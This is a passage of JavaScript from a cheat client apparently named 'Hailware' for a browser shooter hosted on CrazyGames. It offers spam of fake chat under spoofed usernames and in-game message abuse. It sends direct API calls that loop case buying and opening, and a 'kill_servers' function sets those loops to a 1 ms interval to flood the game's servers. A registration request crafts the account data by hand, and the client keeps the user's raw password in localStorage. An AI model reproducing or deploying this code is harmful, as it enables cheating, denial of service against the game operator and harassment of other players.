                                    const randomGamerTag1 = "PC-" + gamerTags[Math.floor(Math.random() * gamerTags.length)];
                                    const randomGamerTag2 = "PC-" + gamerTags[Math.floor(Math.random() * gamerTags.length)];
                                    const randomFunnyArgument = funnyLines[Math.floor(Math.random() * funnyLines.length)];
                                    const randomTeam1 = teams[Math.floor(Math.random() * teams.length)];
                                    const randomTeam2 = teams[Math.floor(Math.random() * teams.length)];

                                    sendChatWithUsername(
                                        `<color=${randomTeam1}>${randomGamerTag1}</color>`,
                                        randomFunnyArgument[0]
                                    );

                                    setTimeout(() => {
                                        sendChatWithUsername(
                                            `<color=${randomTeam2}>${randomGamerTag2}</color>`,
                                            randomFunnyArgument[1]
                                        );
                                    }, 2000);
                                }, 8000);
                            } else {
                                uiManager.createNotification('Hailware', `Funny Chat Arguements was disabled!`);
                                clearInterval(funnyArguementsInterval);
                            }
                        });

                        hackTabs[2].uiTab.addButton("(BEST ★) Funny Advertising Chat", () => {
                            funnyArguementsEnabled2 = !funnyArguementsEnabled2;
                            if (funnyArguementsEnabled2) {
                                uiManager.createNotification('Hailware', `Funny Chat Arguements was enabled!`);
                                funnyArguementsInterval2 = setInterval(() => {
                                    let randomGamerTag1 = "PC-" + gamerTags[Math.floor(Math.random() * gamerTags.length)];
                                    let randomGamerTag2 = "PC-" + gamerTags[Math.floor(Math.random() * gamerTags.length)];

                                    if (Math.random() < 0.3) {
                                        const randomClan = clanTag[Math.floor(Math.random() * clanTag.length)];
                                        randomGamerTag1 = `[${randomClan}]` + randomGamerTag1;
                                    }

                                    if (Math.random() < 0.3) {
                                        const randomClan = clanTag[Math.floor(Math.random() * clanTag.length)];
                                        randomGamerTag2 = `[${randomClan}]` + randomGamerTag2;
                                    }

                                    const randomFunnyArgument = funnyLines2[Math.floor(Math.random() * funnyLines2.length)];
                                    const randomTeam1 = teams[Math.floor(Math.random() * teams.length)];
                                    const randomTeam2 = teams[Math.floor(Math.random() * teams.length)];

                                    sendChatWithUsername(
                                        `<color=${randomTeam1}>${randomGamerTag1}</color>`,
                                        randomFunnyArgument[0]
                                    );

                                    setTimeout(() => {
                                        sendChatWithUsername(
                                            `<color=${randomTeam2}>${randomGamerTag2}</color>`,
                                            randomFunnyArgument[1]
                                        );
                                    }, 2000);
                                }, 8000);
                            } else {
                                uiManager.createNotification('Hailware', `Funny Chat Arguements was disabled!`);
                                clearInterval(funnyArguementsInterval2);
                            }
                        });

                        hackTabs[2].uiTab.addSpacer(5);

                        if (config.spoofName) {
                            spoofName = config.spoofName;
                            usernameSpoof.value = config.spoofName;
                        } else {
                            configManager.save({
                                "bgMusicVolume": configManager.get().bgMusicVolume,
                                bgMusicEnabled: configManager.get().bgMusicEnabled,
                                antiFlashEnabled: configManager.get().antiFlashEnabled,
                                knifeAura: configManager.get().knifeAura,
                                spoofName: ""
                            });
                        }

                        let funnyEnabled = false;
                        let funnyspam = undefined;

                        if (config.funnyEnabled !== undefined) {
                            funnyEnabled = config.funnyEnabled;
                        } else {
                            configManager.save({
                                "bgMusicVolume": configManager.get().bgMusicVolume,
                                bgMusicEnabled: configManager.get().bgMusicEnabled,
                                antiFlashEnabled: configManager.get().antiFlashEnabled,
                                knifeAura: configManager.get().knifeAura,
                                infAmmoEnabled: configManager.get().infAmmoEnabled,
                                funnyEnabled: false
                            });
                        }
                        hackTabs[2].uiTab.addButton("(★) Random Attachment Spam", () => {
                            funnyEnabled = !funnyEnabled;
                            if (funnyEnabled) {
                                uiManager.createNotification('Hailware', 'Random Attachment Spam was Enabled!');
                                configManager.save({
                                    "bgMusicVolume": configManager.get().bgMusicVolume,
                                    bgMusicEnabled: configManager.get().bgMusicEnabled,
                                    antiFlashEnabled: configManager.get().antiFlashEnabled,
                                    knifeAura: configManager.get().knifeAura,
                                    infAmmoEnabled: configManager.get().infAmmoEnabled,
                                    funnyEnabled: true
                                });
                                funnyspam = setInterval(function() {
                                    for (let i = 0; i < 60; i++) Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'SetRandomGunAttachments', i);
                                }, 100);
                            } else {
                                uiManager.createNotification('Hailware', 'Random Attachment Spam was disabled!');
                                configManager.save({
                                    "bgMusicVolume": configManager.get().bgMusicVolume,
                                    bgMusicEnabled: configManager.get().bgMusicEnabled,
                                    antiFlashEnabled: configManager.get().antiFlashEnabled,
                                    knifeAura: configManager.get().knifeAura,
                                    infAmmoEnabled: configManager.get().infAmmoEnabled,
                                    funnyEnabled: false
                                });
                                clearInterval(funnyspam);
                            }
                        });
                        hackTabs[0].uiTab.addButton("Leave Match (Fast)", () => {
                            uiManager.createNotification('Hailware', `Left lobby!`);
                            Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'DisconnectFromGame');
                            sendChatWithUsername("SERVER", "Fuck this shit im out!");
                        });
                        let usernameField = tabs[1].uiTab.addTextInput("Username", () => {
                            Log.info('Text input changed');
                        });

                        let passwordField = tabs[1].uiTab.addTextInput("Password", () => {
                            Log.info('Text input changed');
                        });

                        if (localStorage.blfUsername && localStorage.blfPasswordHash && localStorage.blfPasswordRaw) {
                            usernameField.value = localStorage.blfUsername;
                            passwordField.value = localStorage.blfPasswordRaw;
                        }

                        passwordField.type = "password";

                        tabs[1].uiTab.addButton('(★) Login', () => {
                            login(usernameField.value, passwordField.value);
                        });

                        tabs[1].uiTab.addButton('Register', async () => {
                            let response = await registerAccount(usernameField.value, passwordField.value);

                            if (response) {
                                login("PC-" + usernameField.value, passwordField.value);
                            } else {
                                loginStatus.textContent = 'Registration Failed';
                            }
                        });

                        loginStatus = tabs[1].uiTab.addLabel('N/A');
                    } catch (err) {
                        uiManager.addLabel(`Unable to login! Please ensure you have a hailware cheats account!`);
                    }
                });

                let weapons = {
                    "0": {
                        "weaponName": "AK-12"
                    },
                    "1": {
                        "weaponName": "RPG-7V2"
                    },
                    "3": {
                        "weaponName": "SAIGA 12K"
                    },
                    "4": {
                        "weaponName": "M40A5"
                    },
                    "5": {
                        "weaponName": "MP412 REX"
                    },
                    "6": {
                        "weaponName": "FAMAS"
                    },
                    "7": {
                        "weaponName": "SCAR-H"
                    },
                    "8": {
                        "weaponName": "MPX"
                    },
                    "9": {
                        "weaponName": "M67 Frag"
                    },
                    "10": {
                        "weaponName": "Knife"
                    },
                    "11": {
                        "weaponName": "Flashbang"
                    },
                    "13": {
                        "weaponName": "M18 Smoke"
                    },
                    "14": {
                        "weaponName": "M4A1"
                    },
                    "15": {
                        "weaponName": "MG4"
                    },
                    "16": {
                        "weaponName": "Compact .45"
                    },
                    "18": {
                        "weaponName": "Butterfly Knife"
                    },
                    "19": {
                        "weaponName": "M200"
                    },
                    "20": {
                        "weaponName": "AS VAL"
                    },
                    "21": {
                        "weaponName": "G18"
                    },
                    "22": {
                        "weaponName": "M320 HE"
                    },
                    "23": {
                        "weaponName": "M320 DART"
                    },
                    "24": {
                        "weaponName": "870 MCS"
                    },
                    "25": {
                        "weaponName": "HAND"
                    },
                    "26": {
                        "weaponName": "MP5"
                    },
                    "27": {
                        "weaponName": "AK-47"
                    },
                    "28": {
                        "weaponName": "Vector"
                    },
                    "29": {
                        "weaponName": "M60"
                    },
                    "30": {
                        "weaponName": "Desert Eagle"
                    },
                    "31": {
                        "weaponName": "UMP"
                    },
                    "33": {
                        "weaponName": "MK 11"
                    },
                    "34": {
                        "weaponName": "P90"
                    },
                    "35": {
                        "weaponName": "AUG"
                    },
                    "36": {
                        "weaponName": "Shorty SG"
                    },
                    "37": {
                        "weaponName": "CS-LR4"
                    },
                    "38": {
                        "weaponName": "FAD"
                    },
                    "39": {
                        "weaponName": "Tommy Gun"
                    },
                    "40": {
                        "weaponName": "MP40"
                    },
                    "41": {
                        "weaponName": "CX Scorpio"
                    },
                    "42": {
                        "weaponName": "44 Magnum"
                    },
                    "43": {
                        "weaponName": "M16"
                    },
                    "44": {
                        "weaponName": "Lewis Gun"
                    },
                    "45": {
                        "weaponName": "M1911"
                    },
                    "46": {
                        "weaponName": "ACR"
                    },
                    "47": {
                        "weaponName": "AK-5C"
                    },
                    "48": {
                        "weaponName": "BRT HS1"
                    },
                    "49": {
                        "weaponName": "L85"
                    },
                    "50": {
                        "weaponName": "Tec 9"
                    },
                    "51": {
                        "weaponName": "AI-AWP"
                    },
                    "52": {
                        "weaponName": "Minebea 9"
                    },
                    "53": {
                        "weaponName": "Badger Q"
                    },
                    "54": {
                        "weaponName": "FAL"
                    },
                    "55": {
                        "weaponName": "MP7"
                    },
                    "56": {
                        "weaponName": "SPAS-12"
                    },
                    "57": {
                        "weaponName": "Karambit"
                    },
                    "58": {
                        "weaponName": "Hatchet"
                    },
                    "59": {
                        "weaponName": "Crossbow"
                    },
                    "60": {
                        "weaponName": "Minigun"
                    },
                    "61": {
                        "weaponName": "VSS"
                    },
                    "62": {
                        "weaponName": "G36"
                    },
                    "63": {
                        "weaponName": "F2000"
                    },
                    "64": {
                        "weaponName": "Galil Ace 23"
                    },
                    "65": {
                        "weaponName": "M240B"
                    },
                    "66": {
                        "weaponName": "Kar 98"
                    },
                    "67": {
                        "weaponName": "Groza"
                    }
                }

                async function login(username, password) {
                    try {
                        const response = await fetch("https://server.blayzegames.com/OnlineAccountSystem//login.php?&requiredForMobile=882503852", {
                            method: "POST",
                            headers: {
                                "accept": "*/*",
                                "accept-language": "en-US,en;q=0.9",
                                "content-type": "application/x-www-form-urlencoded",
                                "sec-ch-ua": "\"Opera GX\";v=\"109\", \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"123\"",
                                "sec-ch-ua-mobile": "?0",
                                "sec-ch-ua-platform": "\"Windows\"",
                                "sec-fetch-dest": "empty",
                                "sec-fetch-mode": "cors",
                                "sec-fetch-site": "cross-site",
                                "Referer": "https://games.crazygames.com/",
                            },
                            body: `username=${username}&password=${SHA512(password)}&store=BALYZE_WEB&useJSON=true&locale=english&tutorialr=1`
                        });

                        const res = await response.json();

                        if (res.status == 1) {
                            Log.error(`[BLF Killer]: Successfully logged into '${username}' (PC User)`);
                            localStorage.blfUsername = username;
                            localStorage.blfPasswordHash = SHA512(password);
                            localStorage.blfPasswordRaw = password;

                            Log.info("Set account info successfully!");
                            loginStatus.textContent = 'Login Success';

                            loopOpenButton = tabs[1].uiTab.addButton('Open Case Loop', () => {
                                open_credit_case_loop();
                            });

                            loopBuyButton = tabs[1].uiTab.addButton('Buy Case Loop', () => {
                                buy_credit_case_loop();
                            });
                        } else {
                            Log.error(`[BLF Killer]: Failed to login to '${username}' perhaps you typed in an incorrect password? (PC User)`);
                            loginStatus.textContent = 'Login Failed';
                        }
                    } catch (error) {
                        console.error("Error during login:", error);

                    }
                }

                function kill_servers() {
                    buyRate = 1;
                    openRate = 1;
                    buy_credit_case_loop();
                    open_credit_case_loop();
                }

                function open_credit_case_loop() {
                    creditOpenCaseLoop = !creditOpenCaseLoop;
                    if (creditOpenCaseLoop) {
                        loopOpenButton.style.color = '#43b581';
                        tmpInterval2 = setInterval(() => {
                            fetch("https://server.blayzegames.com/OnlineAccountSystem/open_case.php?requiredForMobile=1040657058", {
                                "headers": {
                                    "accept": "*/*",
                                    "accept-language": "en-US,en;q=0.9",
                                    "content-type": "application/x-www-form-urlencoded",
                                    "sec-ch-ua": "\"Opera GX\";v=\"109\", \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"123\"",
                                    "sec-ch-ua-mobile": "?0",
                                    "sec-ch-ua-platform": "\"Windows\"",
                                    "sec-fetch-dest": "empty",
                                    "sec-fetch-mode": "cors",
                                    "sec-fetch-site": "cross-site",
                                    "Referer": "https://games.crazygames.com/",
                                },
                                "body": `username=${localStorage.blfUsername}&password=${localStorage.blfPasswordHash}&case_type=credit&username=${localStorage.blfUsername}&password=${localStorage.blfPasswordHash}`,
                                "method": "POST"
                            }).then(res => res.json()).then(res => {
                                if (res.status == 1) {
                                    console.log(res);
                                    Log.info(`[BLF Killer]: Unlocked a cammo on account '${localStorage.blfUsername}' for the ${weapons[res.weapon].weaponName} (PC User)`);
                                } else {
                                    Log.error(`[BLF Killer]: Failed to open credit case on account '${localStorage.blfUsername}' perhaps you dont have any cases to open? (PC User)`);
                                }
                            });
                        }, openRate);
                    } else {
                        loopOpenButton.style.color = '#f04747';
                        clearInterval(tmpInterval2);
                    }
                }

                function buy_credit_case_loop() {
                    creditBuyCaseLoop = !creditBuyCaseLoop;
                    if (creditBuyCaseLoop) {
                        loopBuyButton.style.color = '#43b581';
                        tmpInterval = setInterval(() => {
                            fetch("https://server.blayzegames.com/OnlineAccountSystem/buy_case.php?requiredForMobile=1770212018", {
                                "headers": {
                                    "accept": "*/*",
                                    "accept-language": "en-US,en;q=0.9",
                                    "content-type": "application/x-www-form-urlencoded",
                                    "sec-ch-ua": "\"Opera GX\";v=\"109\", \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"123\"",
                                    "sec-ch-ua-mobile": "?0",
                                    "sec-ch-ua-platform": "\"Windows\"",
                                    "sec-fetch-dest": "empty",
                                    "sec-fetch-mode": "cors",
                                    "sec-fetch-site": "cross-site",
                                    "Referer": "https://games.crazygames.com/",
                                },
                                "body": `username=${localStorage.blfUsername}&password=${localStorage.blfPasswordHash}&case_type=credit&amount=1&username=${localStorage.blfUsername}&password=${localStorage.blfPasswordHash}`,
                                "method": "POST"
                            }).then(res => res.json()).then(res => {
                                if (res.status == 1) {
                                    Log.info(`[BLF Killer]: Purchased 1 credit case on account '${localStorage.blfUsername}' (PC User)`);
                                } else {
                                    Log.error(`[BLF Killer]: Failed to purchase credit case on account '${localStorage.blfUsername}' perhaps you dont have any credits to buy cases? (PC User)`);
                                }
                            });
                        }, buyRate);
                    } else {
                        loopBuyButton.style.color = '#f04747';
                        clearInterval(tmpInterval);
                    }
                }
            });
    }
}, 2000);

async function registerAccount(username, password) {
    let response = false;
    let a = await fetch("https://server.blayzegames.com/OnlineAccountSystem//register.php?&requiredForMobile=878717759", {
        "headers": {
            "accept": "*/*",
            "accept-language": "en-US,en;q=0.9",
            "content-type": "application/x-www-form-urlencoded",
            "sec-ch-ua": "\"Opera GX\";v=\"109\", \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"123\"",
            "sec-ch-ua-mobile": "?0",
            "sec-ch-ua-platform": "\"Windows\"",
            "sec-fetch-dest": "empty",
            "sec-fetch-mode": "cors",
            "sec-fetch-site": "cross-site",
            "Referer": "https://games.crazygames.com/",
        },
        "body": `newAccountInfo=id%24%23%40(_field_name_value_separator_*%26%25%5e%24%23%40(_fields_separator_*%26%25%5eusername%24%23%40(_field_name_value_separator_*%26%25%5ePC-${username}%24%23%40(_fields_separator_*%26%25%5epassword%24%23%40(_field_name_value_separator_*%26%25%5e${SHA512(password)}%24%23%40(_fields_separator_*%26%25%5eemail%24%23%40(_field_name_value_separator_*%26%25%5ePC-${username}_%40unregistered.com%24%23%40(_fields_separator_*%26%25%5ecustominfo%24%23%40(_field_name_value_separator_*%26%25%5e%3c%3fxml%20version%3d%221.0%22%20encoding%3d%22utf-16%22%3f%3e%0a%3cAS_CustomInfo%20xmlns%3axsd%3d%22http%3a%2f%2fwww.w3.org%2f2001%2fXMLSchema%22%20xmlns%3axsi%3d%22http%3a%2f%2fwww.w3.org%2f2001%2fXMLSchema-instance%22%3e%0a%20%20%3cbfAccountInfo%3e%0a%20%20%20%20%3cshow%3efalse%3c%2fshow%3e%0a%20%20%20%20%3cmoney%3e5000%3c%2fmoney%3e%0a%20%20%20%20%3cxp%3e0%3c%2fxp%3e%0a%20%20%20%20%3cstreamer%3efalse%3c%2fstreamer%3e%0a%20%20%20%20%3cdeviceID%20%2f%3e%0a%20%20%20%20%3cclan%20%2f%3e%0a%20%20%20%20%3ccases%3e1%3c%2fcases%3e%0a%20%20%20%20%3ccases_CREDIT%3e0%3c%2fcases_CREDIT%3e%0a%20%20%20%20%3ccases_ADS%3e0%3c%2fcases_ADS%3e%0a%20%20%20%20%3ccases_OW%3e0%3c%2fcases_OW%3e%0a%20%20%20%20%3cgold_OW%3e0%3c%2fgold_OW%3e%0a%20%20%20%20%3cgold%3e0%3c%2fgold%3e%0a%20%20%20%20%3ctotalGoldBought%3e0%3c%2ftotalGoldBought%3e%0a%20%20%20%20%3chacker%3efalse%3c%2fhacker%3e%0a%20%20%20%20%3cv%3e1.0%3c%2fv%3e%0a%20%20%20%20%3cplatform%20%2f%3e%0a%20%20%20%20%3ctKills%3e0%3c%2ftKills%3e%0a%20%20%20%20%3ctDeaths%3e0%3c%2ftDeaths%3e%0a%20%20%20%20%3cmWon%3e0%3c%2fmWon%3e%0a%20%20%20%20%3cmLost%3e0%3c%2fmLost%3e%0a%20%20%20%20%3cknifeKills%3e0%3c%2fknifeKills%3e%0a%20%20%20%20%3cexplKills%3e0%3c%2fexplKills%3e%0a%20%20%20%20%3cnukes%3e0%3c%2fnukes%3e%0a%20%20%20%20%3chighStrk%3e0%3c%2fhighStrk%3e%0a%20%20%20%20%3cmostKills%3e0%3c%2fmostKills%3e%0a%20%20%20%20%3ccharacterCamos%20%2f%3e%0a%20%20%20%20%3cglovesCamos%20%2f%3e%0a%20%20%20%20%3cbulletTracerColors%20%2f%3e%0a%20%20%20%20%3ceLs%3e0%3c%2feLs%3e%0a%20%20%20%20%3cplayerID%3e0%3c%2fplayerID%3e%0a%20%20%20%20%3cnotificationMessage%20%2f%3e%0a%20%20%3c%2fbfAccountInfo%3e%0a%20%20%3cweaponInfo%3e%0a%20%20%20%20%3cBF_WeaponInfo%3e%0a%20%20%20%20%20%20%3cweapon%3e14%3c%2fweapon%3e%0a%20%20%20%20%20%20%3cunlocked%3e0%3c%2funlocked%3e%0a%20%20%20%20%20%20%3ccOL%3e0%2c0%2c0%3c%2fcOL%3e%0a%20%20%20%20%20%20%3caOL%3e0%2c0%2c0%3c%2faOL%3e%0a%20%20%20%20%20%20%3csOL%3e0%2c0%2c0%3c%2fsOL%3e%0a%20%20%20%20%20%20%3cbOL%3e0%2c0%2c0%3c%2fbOL%3e%0a%20%20%20%20%20%20%3cc%3e0%2c0%2c0%3c%2fc%3e%0a%20%20%20%20%20%20%3ca%3e0%2c0%2c0%3c%2fa%3e%0a%20%20%20%20%20%20%3cs%3e0%2c0%2c0%3c%2fs%3e%0a%20%20%20%20%20%20%3cb%3e0%2c0%2c0%3c%2fb%3e%0a%20%20%20%20%3c%2fBF_WeaponInfo%3e%0a%20%20%20%20%3cBF_WeaponInfo%3e%0a%20%20%20%20%20%20%3cweapon%3e1%3c%2fweapon%3e%0a%20%20%20%20%20%20%3cunlocked%3e0%3c%2funlocked%3e%0a%20%20%20%20%20%20%3ccOL%3e0%2c0%2c0%3c%2fcOL%3e%0a%20%20%20%20%20%20%3caOL%3e0%2c0%2c0%3c%2faOL%3e%0a%20%20%20%20%20%20%3csOL%3e0%2c0%2c0%3c%2fsOL%3e%0a%20%20%20%20%20%20%3cbOL%3e0%2c0%2c0%3c%2fbOL%3e%0a%20%20%20%20%20%20%3cc%3e0%2c0%2c0%3c%2fc%3e%0a%20%20%20%20%20%20%3ca%3e0%2c0%2c0%3c%2fa%3e%0a%20%20%20%20%20%20%3cs%3e0%2c0%2c0%3c%2fs%3e%0a%20%20%20%20%20%20%3cb%3e0%2c0%2c0%3c%2fb%3e%0a%20%20%20%20%3c%2fBF_WeaponInfo%3e%0a%20%20%20%20%3cBF_WeaponInfo%3e%0a%20%20%20%20%20%20%3cweapon%3e6%3c%2fweapon%3e%0a%20%20%20%20%20%20%3cunlocked%3e0%3c%2funlocked%3e%0a%20%20%20%20%20%20%3ccOL%3e0%2c0%2c0%3c%2fcOL%3e%0a%20%20%20%20%20%20%3caOL%3e0%2c0%2c0%3c%2faOL%3e%0a%20%20%20%20%20%20%3csOL%3e0%2c0%2c0%3c%2fsOL%3e%0a%20%20%20%20%20%20%3cbOL%3e0%2c0%2c0%3c%2fbOL%3e%0a%20%20%20%20%20%20%3cc%3e0%2c0%2c0%3c%2fc%3e%0a%20%20%20%20%20%20%3ca%3e0%2c0%2c0%3c%2fa%3e%0a%20%20%20%20%20%20%3cs%3e0%2c0%2c0%3c%2fs%3e%0a%20%20%20%20%20%20%3cb%3e0%2c0%2c0%3c%2fb%3e%0a%20%20%20%20%3c%2fBF_WeaponInfo%3e%0a%20%20%20%20%3cBF_WeaponInfo%3e%0a%20%20%20%20%20%20%3cweapon%3e4%3c%2fweapon%3e%0a%20%20%20%20%20%20%3cunlocked%3e0%3c%2funlocked%3e%0a%20%20%20%20%20%20%3ccOL%3e0%2c0%2c0%3c%2fcOL%3e%0a%20%20%20%20%20%20%3caOL%3e0%2c0%2c0%3c%2faOL%3e%0a%20%20%20%20%20%20%3csOL%3e0%2c0%2c0%3c%2fsOL%3e%0a%20%20%20%20%20%20%3cbOL%3e0%2c0%2c0%3c%2fbOL%3e%0a%20%20%20%20%20%20%3cc%3e0%2c0%2c0%3c%2fc%3e%0a%20%20%20%20%20%20%3ca%3e0%2c0%2c0%3c%2fa%3e%0a%20%20%20%20%20%20%3cs%3e0%2c0%2c0%3c%2fs%3e%0a%20%20%20%20%20%20%3cb%3e0%2c0%2c0%3c%2fb%3e%0a%20%20%20%20%3c%2fBF_WeaponInfo%3e%0a%20%20%20%20%3cBF_WeaponInfo%3e%0a%20%20%20%20%20%20%3cweapon%3e3%3c%2fweapon%3e%0a%20%20%20%20%20%20%3cunlocked%3e0%3c%2funlocked%3e%0a%20%20%20%20%20%20%3ccOL%3e0%2c0%2c0%3c%2fcOL%3e%0a%20%20%20%20%20%20%3caOL%3e0%2c0%2c0%3c%2faOL%3e%0a%20%20%20%20%20%20%3csOL%3e0%2c0%2c0%3c%2fsOL%3e%0a%20%20%20%20%20%20%3cbOL%3e0%2c0%2c0%3c%2fbOL%3e%0a%20%20%20%20%20%20%3cc%3e0%2c0%2c0%3c%2fc%3e%0a%20%20%20%20%20%20%3ca%3e0%2c0%2c0%3c%2fa%3e%0a%20%20%20%20%20%20%3cs%3e0%2c0%2c0%3c%2fs%3e%0a%20%20%20%20%20%20%3cb%3e0%2c0%2c0%3c%2fb%3e%0a%20%20%20%20%3c%2fBF_WeaponInfo%3e%0a%20%20%20%20%3cBF_WeaponInfo%3e%0a%20%20%20%20%20%20%3cweapon%3e7%3c%2fweapon%3e%0a%20%20%20%20%20%20%3cunlocked%3e0%3c%2funlocked%3e%0a%20%20%20%20%20%20%3ccOL%3e0%2c0%2c0%3c%2fcOL%3e%0a%20%20%20%20%20%20%3caOL%3e0%2c0%2c0%3c%2faOL%3e%0a%20%20%20%20%20%20%3csOL%3e0%2c0%2c0%3c%2fsOL%3e%0a%20%20%20%20%20%20%3cbOL%3e0%2c0%2c0%3c%2fbOL%3e%0a%20%20%20%20%20%20%3cc%3e0%2c0%2c0%3c%2fc%3e%0a%20%20%20%20%20%20%3ca%3e0%2c0%2c0%3c%2fa%3e%0a%20%20%20%20%20%20%3cs%3e0%2c0%2c0%3c%2fs%3e%0a%20%20%20%20%20%20%3cb%3e0%2c0%2c0%3c%2fb%3e%0a%20%20%20%20%3c%2fBF_WeaponInfo%3e%0a%20%20%20%20%3cBF_WeaponInfo%3e%0a%20%20%20%20%20%20%3cweapon%3e8%3c%2fweapon%3e%0a%20%20%20%20%20%20%3cunlocked%3e0%3c%2funlocked%3e%0a%20%20%20%20%20%20%3ccOL%3e0%2c0%2c0%3c%2fcOL%3e%0a%20%20%20%20%20%20%3caOL%3e0%2c0%2c0%3c%2faOL%3e%0a%20%20%20%20%20%20%3csOL%3e0%2c0%2c0%3c%2fsOL%3e%0a%20%20%20%20%20%20%3cbOL%3e0%2c0%2c0%3c%2fbOL%3e%0a%20%20%20%20%20%20%3cc%3e0%2c0%2c0%3c%2fc%3e%0a%20%20%20%20%20%20%3ca%3e0%2c0%2c0%3c%2fa%3e%0a%20%20%20%20%20%20%3cs%3e0%2c0%2c0%3c%2fs%3e%0a%20%20%20%20%20%20%3cb%3e0%2c0%2c0%3c%2fb%3e%0a%20%20%20%20%3c%2fBF_WeaponInfo%3e%0a%20%20%20%20%3cBF_WeaponInfo%3e%0a%20%20%20%20%20%20%3cweapon%3e20%3c%2fweapon%3e%0a%20%20%20%20%20%20%3cunlocked%3e0%3c%2funlocked%3e%0a%20%20%20%20%20%20%3ccOL%3e0%2c0%2c0%3c%2fcOL%3e%0a%20%20%20%20%20%20%3caOL%3e0%2c0%2c0%3c%2faOL%3e%0a%20%20%20%20%20%20%3csOL%3e0%2c0%2c0%3c%2fsOL%3e%0a%20%20%20%20%20%20%3cbOL%3e0%2c0%2c0%3c%2fbOL%3e%0a%20%20%20%20%20%20%3cc%3e0%2c0%2c0%3c%2fc%3e%0a%20%20%20%20%20%20%3ca%3e0%2c0%2c0%3c%2fa%3e%0a%20%20%20%20%20%20%3cs%3e0%2c0%2c0%3c%2fs%3e%0a%20%20%20%20%20%20%3cb%3e0%2c0%2c0%3c%2fb%3e%0a%20%20%20%20%3c%2fBF_WeaponInfo%3e%0a%20%20%20%20%3cBF_WeaponInfo%3e%0a%20%20%20%20%20%20%3cweapon%3e19%3c%2fweapon%3e%0a%20%20%20%20%20%20%3cunlocked%3e0%3c%2funlocked%3e%0a%20%20%20%20%20%20%3ccOL%3e0%2c0%2c0%3c%2fcOL%3e%0a%20%20%20%20%20%20%3caOL%3e0%2c0%2c0%3c%2faOL%3e%0a%20%20%20%20%20%20%3csOL%3e0%2c0%2c0%3c%2fsOL%3e%0a%20%20%20%20%20%20%3cbOL%3e0%2c0%2c0%3c%2fbOL%3e%0a%20%20%20%20%20%20%3cc%3e0%2c0%2c0%3c%2fc%3e%0a%20%20%20%20%20%20%3ca%3e0%2c0%2c0%3c%2fa%3e%0a%20%20%20%20%20%20%3cs%3e0%2c0%2c0%3c%2fs%3e%0a%20%20%20%20%20%20%3cb%3e0%2c0%2c0%3c%2fb%3e%0a%20%20%20%20%3c%2fBF_WeaponInfo%3e%0a%20%20%20%20%3cBF_WeaponInfo%3e%0a%20%20%20%20%20%20%3cweapon%3e15%3c%2fweapon%3e%0a%20%20%20%20%20%20%3cunlocked%3e0%3c%2funlocked%3e%0a%20%20%20%20%20%20%3ccOL%3e0%2c0%2c0%3c%2fcOL%3e%0a%20%20%20%20%20%20%3caOL%3e0%2c0%2c0%3c%2faOL%3e%0a%20%20%20%20%20%20%3csOL%3e0%2c0%2c0%3c%2fsOL%3e%0a%20%20%20%20%20%20%3cbOL%3e0%2c0%2c0%3c%2fbOL%3e%0a%20%20%20%20%20%20%3cc%3e0%2c0%2c0%3c%2fc%3e%0a%20%20%20%20%20%20%3ca%3e0%2c0%2c0%3c%2fa%3e%0a%20%20%20%20%20%20%3cs%3e0%2c0%2c0%3c%2fs%3e%0a%20%20%20%20%20%20%3cb%3e0%2c0%2c0%3c%2fb%3e%0a%20%20%20%20%3c%2fBF_WeaponInfo%3e%0a%20%20%20%20%3cBF_WeaponInfo%3e%0a%20%20%20%20%20%20%3cweapon%3e2%3c%2fweapon%3e%0a%20%20%20%20%20%20%3cunlocked%3e0%3c%2funlocked%3e%0a%20%20%20%20%20%20%3ccOL%3e0%2c0%2c0%3c%2fcOL%3e%0a%20%20%20%20%20%20%3caOL%3e0%2c0%2c0%3c%2faOL%3e%0a%20%20%20%20%20%20%3csOL%3e0%2c0%2c0%3c%2fsOL%3e%0a%20%20%20%20%20%20%3cbOL%3e0%2c0%2c0%3c%2fbOL%3e%0a%20%20%20%20%20%20%3cc%3e0%2c0%2c0%3c%2fc%3e%0a%20%20%20%20%20%20%3ca%3e0%2c0%2c0%3c%2fa%3e%0a%20%20%20%20%20%20%3cs%3e0%2c0%2c0%3c%2fs%3e%0a%20%20%20%20%20%20%3cb%3e0%2c0%2c0%3c%2fb%3e%0a%20%20%20%20%3c%2fBF_WeaponInfo%3e%0a%20%20%20%20%3cBF_WeaponInfo%3e%0a%20%20%20%20%20%20%3cweapon%3e5%3c%2fweapon%3e%0a%20%20%20%20%20%20%3cunlocked%3e0%3c%2funlocked%3e%0a%20%20%20%20%20%20%3ccOL%3e0%2c0%2c0%3c%2fcOL%3e%0a%20%20%20%20%20%20%3caOL%3e0%2c0%2c0%3c%2faOL%3e%0a%20%20%20%20%20%20%3csOL%3e0%2c0%2c0%3c%2fsOL%3e%0a%20%20%20%20%20%20%3cbOL%3e0%2c0%2c0%3c%2fbOL%3e%0a%20%20%20%20%20%20%3cc%3e0%2c0%2c0%3c%2fc%3e%0a%20%20%20%20%20%20%3ca%3e0%2c0%2c0%3c%2fa%3e%0a%20%20%20%20%20%20%3cs%3e0%2c0%2c0%3c%2fs%3e%0a%20%20%20%20%20%20%3cb%3e0%2c0%2c0%3c%2fb%3e%0a%20%20%20%20%3c%2fBF_WeaponInfo%3e%0a%20%20%20%20%3cBF_WeaponInfo%3e%0a%20%20%20%20%20%20%3cweapon%3e16%3c%2fweapon%3e%0a%20%20%20%20%20%20%3cunlocked%3e0%3c%2funlocked%3e%0a%20%20%20%20%20%20%3ccOL%3e0%2c0%2c0%3c%2fcOL%3e%0a%20%20%20%20%20%20%3caOL%3e0%2c0%2c0%3c%2faOL%3e%0a%20%20%20%20%20%20%3csOL%3e0%2c0%2c0%3c%2fsOL%3e%0a%20%20%20%20%20%20%3cbOL%3e0%2c0%2c0%3c%2fbOL%3e%0a%20%20%20%20%20%20%3cc%3e0%2c0%2c0%3c%2fc%3e%0a%20%20%20%20%20%20%3ca%3e0%2c0%2c0%3c%2fa%3e%0a%20%20%20%20%20%20%3cs%3e0%2c0%2c0%3c%2fs%3e%0a%20%20%20%20%20%20%3cb%3e0%2c0%2c0%3c%2fb%3e%0a%20%20%20%20%3c%2fBF_WeaponInfo%3e%0a%20%20%20%20%3cBF_WeaponInfo%3e%0a%20%20%20%20%20%20%3cweapon%3e18%3c%2fweapon%3e%0a%20%20%20%20%20%20%3cunl